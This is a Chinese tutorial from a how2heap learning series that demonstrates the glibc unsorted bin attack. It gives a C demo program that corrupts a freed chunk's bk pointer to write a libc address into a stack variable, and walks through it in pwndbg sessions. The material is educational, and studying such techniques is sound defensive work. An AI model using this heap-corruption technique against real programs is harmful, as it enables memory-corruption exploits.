从零开始学howtoheap:理解fastbins的​unsorted bin攻击

news2024/10/6 10:30:43

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的unsorted_bin攻击

​ unsorted bin攻击通常是为更进一步的攻击做准备的,我们知道unsorted bin是一个双向链表,在分配时会通过unlink操作将chunk从链表中移除,所以如果能够控制unsorted bin chunk的bk指针,就可以向任意位置写入一个指针。

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
 

2.unsorted_bin_attack演示程序

#include <stdio.h>
#include <stdlib.h>

int main(){

    fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
    fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(0x410);
    fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
    fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
    fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

    malloc(0x410);
    fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

3.调试 unsorted_bin_attack

3.1 获得可执行程序 

gcc -g unsorted_bin_attack.c -o unsorted_bin_attack

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsorted_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsorted_bin_attack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsorted_bin_attack 
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
[Inferior 1 (process 144) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第16行并走起

一开始先申请两个chunk,第二个是为了防止和top chunk合并。


Breakpoint 1, main () at unsorted_bin_attack.c:17
17          free(p);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x602430 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x602430 ◂— 0x0
 RDI  0x1
 RSI  0x602620 ◂— 0x0
 R8   0x2b
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RIP  0x400775 (main+207) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400775 <main+207>    mov    rax, qword ptr [rbp - 0x10]
   0x400779 <main+211>    mov    rdi, rax
   0x40077c <main+214>    call   free@plt <0x400540>
 
   0x400781 <main+219>    mov    rax, qword ptr [rbp - 0x10]
   0x400785 <main+223>    add    rax, 8
   0x400789 <main+227>    mov    rax, qword ptr [rax]
   0x40078c <main+230>    mov    rdx, rax
   0x40078f <main+233>    mov    rax, qword ptr [rip + 0x2008ca] <0x601060>
   0x400796 <main+240>    mov    esi, 0x400a80
   0x40079b <main+245>    mov    rdi, rax
   0x40079e <main+248>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
   12     unsigned long *p=malloc(0x410);
   13     fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
   14     fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
   15     malloc(500);
   16 
 ► 17     free(p);
   18     fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
   19 
   20     p[1]=(unsigned long)(&stack_var-2);
   21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
   22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400775 main+207
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:16
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Used                None              None
0x602420            0x0                 0x200                Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x602420 
0x602420:       0x0000000000000000      0x0000000000000201
0x602430:       0x0000000000000000      0x0000000000000000
0x602440:       0x0000000000000000      0x0000000000000000
0x602450:       0x0000000000000000      0x0000000000000000
0x602460:       0x0000000000000000      0x0000000000000000
pwndbg> 

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Used                None              None
0x602420            0x0                 0x200                Used                None              None

pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x602420 
0x602420:       0x0000000000000000      0x0000000000000201
0x602430:       0x0000000000000000      0x0000000000000000
0x602440:       0x0000000000000000      0x0000000000000000
0x602450:       0x0000000000000000      0x0000000000000000
0x602460:       0x0000000000000000      0x0000000000000000
pwndbg> 
 

3.3.2 ​设置断点第19行并走起

​ 当free之后,这个chunk的fd、bk都指向了unsorted bin的位置,因为unsorted bin是双向链表。

pwndbg> b 19
Breakpoint 2 at 0x4007a8: file unsorted_bin_attack.c, line 19.
pwndbg> c
Continuing.
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78

Breakpoint 2, main () at unsorted_bin_attack.c:20
20          p[1]=(unsigned long)(&stack_var-2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x74
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0xbbe49188e693bde5
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x74
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RIP  0x4007a8 (main+258) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4007a8 <main+258>    mov    rax, qword ptr [rbp - 0x10]
   0x4007ac <main+262>    lea    rdx, [rax + 8]
   0x4007b0 <main+266>    lea    rax, [rbp - 0x18]
   0x4007b4 <main+270>    sub    rax, 0x10
   0x4007b8 <main+274>    mov    qword ptr [rdx], rax
   0x4007bb <main+277>    mov    rax, qword ptr [rip + 0x20089e] <0x601060>
   0x4007c2 <main+284>    mov    rcx, rax
   0x4007c5 <main+287>    mov    edx, 0x51
   0x4007ca <main+292>    mov    esi, 1
   0x4007cf <main+297>    mov    edi, 0x400af0
   0x4007d4 <main+302>    call   fwrite@plt <0x400590>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
   15     malloc(500);
   16 
   17     free(p);
   18     fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
   19 
 ► 20     p[1]=(unsigned long)(&stack_var-2);
   21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
   22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
   23 
   24     malloc(0x410);
   25     fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4007a8 main+258
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:19
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x602420            0x420               0x200                Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x602420            0x420               0x200                Used                None              None
pwndbg> 

3.3.3 ​设置断点第23行并走起

继续,通过p[1] = (unsigned long)(&stack_var - 2),把bk指针给改掉了。unsigned long是8字节大小的,所以减去2之后正好是在address 这个地方。

pwndbg> b 23
Breakpoint 3 at 0x400800: file unsorted_bin_attack.c, line 23.
pwndbg> c
Continuing.
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588


Breakpoint 3, main () at unsorted_bin_attack.c:24
24          malloc(0x410);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x6c
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0x8ae6acbbe49188e6
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x6c
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
 RIP  0x400800 (main+346) ◂— mov    edi, 0x410
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400800 <main+346>    mov    edi, 0x410
   0x400805 <main+351>    call   malloc@plt <0x400580>
 
   0x40080a <main+356>    mov    rax, qword ptr [rip + 0x20084f] <0x601060>
   0x400811 <main+363>    mov    rcx, rax
   0x400814 <main+366>    mov    edx, 0x56
   0x400819 <main+371>    mov    esi, 1
   0x40081e <main+376>    mov    edi, 0x400bb0
   0x400823 <main+381>    call   fwrite@plt <0x400590>
 
   0x400828 <main+386>    mov    rax, qword ptr [rbp - 0x18]
   0x40082c <main+390>    mov    rcx, rax
   0x40082f <main+393>    mov    rax, qword ptr [rip + 0x20082a] <0x601060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c
   19 
   20     p[1]=(unsigned long)(&stack_var-2);
   21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
   22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
   23 
 ► 24     malloc(0x410);
   25     fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
   26     fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
   27 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400800 main+346
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:23
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7fffffffe588
0x602420            0x420               0x200                Used                None              None
pwndbg> 

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7fffffffe588
0x602420            0x420               0x200                Used                None              None
pwndbg> 
 

​ 然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
3.3.4 ​设置断点第26行并走起

把unsorted bin的bk改为chunk的bk,然后将chunk的bk所指向的 fd改为unsorted bin的地址。

因为对于一个chunk来说,chunk头是占据0x10大小的(也就是图中 address),所以fd正好是我们想要改的那个地址。

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x7fffffffe588 —▸ 0x602010 ◂— 0x0

smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x00007ffff7dd1b78      0x00007fffffffe588
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
 

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1446428.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开源版发卡小程序源码,云盘发卡微信小程序源码带PC端

一款发卡小程序。带PC端 系统微信小程序前端采用nuiapp 后端采用think PHP6 PC前端采用vue开发 使用HBuilderX工具打开&#xff0c;运行到微信小程序工具&#xff0c;系统会自动打包微信小程序代码 修改文件common/request/request.js 改成你的后端网址 微信小程序端完全…

【原创 附源码】Flutter安卓及iOS海外登录--Google登录最详细流程

最近接触了几个海外登录的平台&#xff0c;踩了很多坑&#xff0c;也总结了很多东西&#xff0c;决定记录下来给路过的兄弟坐个参考&#xff0c;也留着以后留着回顾。更新时间为2024年2月8日&#xff0c;后续集成方式可能会有变动&#xff0c;所以目前的集成流程仅供参考&#…

vscode预览github上的markdown效果

需要安装的插件 Github Markdown Preview Markdown Checkboxes Markdown Emoji Markdown footnotes Markdown Preview Github Styling Markdown Preview Mermaid Support Markdown yaml Preamble 操作步骤 ①ctrlshiftv会弹出预览页面 ②点击Split Up ③把这个拖过去…

Linux第49步_移植ST公司的linux内核第1步_获取linux源码

已知ST公司的linux源码路径&#xff1a; /home/zgq/linux/atk-mp1/stm32mp1-openstlinux-5.4-dunfell-mp1-20-06-24/sources/arm-ostl-linux-gnueabi/linux-stm32mp-5.4.31-r0 1、创建“my_linux”目录 打开第1个终端 输入“ls回车” 输入“cd linux/回车”&#xff0c;切换…

svg基础(九)滤镜-feMorphology(形态学)

feMorphology:形态学滤镜 用来侵蚀或扩张输入的图像。它在增肥或瘦身效果方面特别有用。适合用来创建轮廓和边界。 1 用法 <feMorphology operator"" radius""/>2 属性 inoperator -dilate膨胀,erode侵蚀radius- 3 示例 <svg width"50…

【易学】周易入门 ③ ( 玄学五术 - 山医命相卜 | 天命无常 唯有德者居之 | 预测学模型 | 五行学说 | 五行相生 | 五行相克 )

文章目录 一、玄学五术 - 山医命相卜二、天命无常 唯有德者居之三、预测学模型四、五行学说1、五行相生2、五行相克 一、玄学五术 - 山医命相卜 玄学五术 : 山 : 修行 " 肉体 " 和 " 精神 " , 以寻求 身心超脱 ; 肉体修行 - 拳法 : 太极拳 , 五禽戏 , 易筋…

Git分支和迭代流程

Git分支 feature分支&#xff1a;功能分支 dev分支&#xff1a;开发分支 test分支&#xff1a;测试分支 master分支&#xff1a;生产环境分支 hotfix分支&#xff1a;bug修复分支。从master拉取&#xff0c;修复并测试完成merge回master和dev。 某些团队可能还会有 reale…

【技巧】Allegro实用技巧之模块复用

需求分析&#xff1a;使用Allegro软件进行PCB Layout设计时&#xff0c;当电路图中有很多路相同的模块&#xff0c;使用模块复用的的操作方法&#xff0c;可以显著提高工作效率&#xff0c;同时也可以使PCB布局在整体上显得美观。下面来讲述这个方法。 具体方法及说明&#xf…

linux优化空间完全卸载mysql——centos7.9

文章目录 ⭐前言⭐linux命令使用&#x1f496; 基础命令&#x1f496; 内存优化&#x1f496; 完全删除mysql ⭐结束 ⭐前言 大家好&#xff0c;我是yma16&#xff0c;本文分享 linux优化空间&完全卸载mysql——centos7.9。 linux内存分配 在Linux中&#xff0c;内存分配是…

AcWing 802. 区间和 离散化

文章目录 题目链接题目描述解题思路代码实现总结 题目链接 链接: AcWing 802. 区间和 题目描述 解题思路 离散化是一种常用的技巧&#xff0c;它能够将原始的连续数值转换为一组离散的值&#xff0c;从而简化问题的处理。在这段代码中&#xff0c;离散化的过程主要分为三个步…

分布式文件系统 SpringBoot+FastDFS+Vue.js

分布式文件系统 SpringBootFastDFSVue.js 一、分布式文件系统1.1.文件系统1.2.什么是分布式文件系统1.3.分布式文件系统的出现1.3.主流的分布式文件系统1.4.分布式文件服务提供商1.4.1.阿里OSS1.4.2.七牛云存储1.4.3.百度云存储 二、fastDFS2.1.fastDSF介绍2.2.为什么要使用fas…

2024年最新指南:如何订阅Midjourney(详尽步骤解析)

前言&#xff1a; Midjourney是一个基于人工智能的图像生成工具&#xff0c;它使用高级算法来创建独特和复杂的图像。这个工具能够根据用户输入的文字描述生成对应的图片。Midjourney的特点在于它能够处理非常抽象或者具体的描述&#xff0c;生成高质量、富有创意的视觉内容。M…

vue3-内置组件-Suspense

Suspense (实验性功能) <Suspense> 是一项实验性功能。它不一定会最终成为稳定功能&#xff0c;并且在稳定之前相关 API 也可能会发生变化。 <Suspense> 是一个内置组件&#xff0c;用来在组件树中协调对异步依赖的处理。它让我们可以在组件树上层等待下层的多个嵌…

ChatGPT高效提问—prompt实践(生成VBA)

ChatGPT高效提问—prompt实践&#xff08;生成VBA&#xff09; 2. 生成VBA函数操作Excel ​ 当前Excel表格数据无背景颜色&#xff0c;区分不明显。假如我们想美化数据展示效果&#xff0c;把标题行设置为浅蓝色&#xff0c;其余奇数行设置为橙色&#xff0c;该怎么操作呢&am…

一、DataX简介

DataX简介 一、什么是DataX二、DataX设计三、支持的数据源四、框架设计五、运行原理六、DataX和Sqoop对比 一、什么是DataX DataX是阿里巴巴开源的一个异构数据源离线同步工具&#xff0c;致力于实现包括关系型数据库&#xff08;MySQL、Oracle等&#xff09;、HDFS、Hive、OD…

数据库管理-第150期 Oracle Vector DB AI-02(20240212)

数据库管理150期 2024-02-12 数据库管理-第150期 Oracle Vector DB & AI-02&#xff08;20240212&#xff09;1 LLM2 LLM面临的挑战3 RAG4 向量数据库LLM总结 数据库管理-第150期 Oracle Vector DB & AI-02&#xff08;20240212&#xff09; 作者&#xff1a;胖头鱼的鱼…

Microsoft Word 超链接

Microsoft Word 超链接 1. 取消超链接2. 自动超链接2.1. 选项2.2. 校对 -> 自动更正选项2.3. Internet 及网络路径替换为超链接 References 1. 取消超链接 Ctrl A -> Ctrl Shift F9 2. 自动超链接 2.1. 选项 2.2. 校对 -> 自动更正选项 ​​​ 2.3. Internet…

【DDD】学习笔记-事件风暴与业务全景探索

理解事件的本质 Martin Fowler 认为&#xff1a;“重要的事件肯定会在系统其他地方引起反应&#xff0c;因此理解为什么会有这些反应同样也很重要。”显然&#xff0c;事件意味着一种因果关系&#xff0c;这就使得这样一个静态的概念&#xff0c;其实隐藏着流动的张力。在识别…

快速的搭建一个临时的 Linux 系统instantbox

centos 安装 docker-CSDN博客 首先要有docker && docker-compose mkdir instantbox && cd $_ bash <(curl -sSL https://raw.githubusercontent.com/instantbox/instantbox/master/init.sh) docker-compose up -d instantbox: instantbox 可以让你快速的搭…

【二叉树】构建销毁二叉树

目录 创建二叉树 整体思路 代码实现 图示理解​ 销毁二叉树 判断二叉树是否是完全二叉树&层序 整体思路 代码实现 图是理解 二叉树的性质 题目 创建二叉树 整体思路 通过前序遍历的数组"ABD##E#H##CF##G##"构建二叉树遇到#就回退&#xff0c;返回…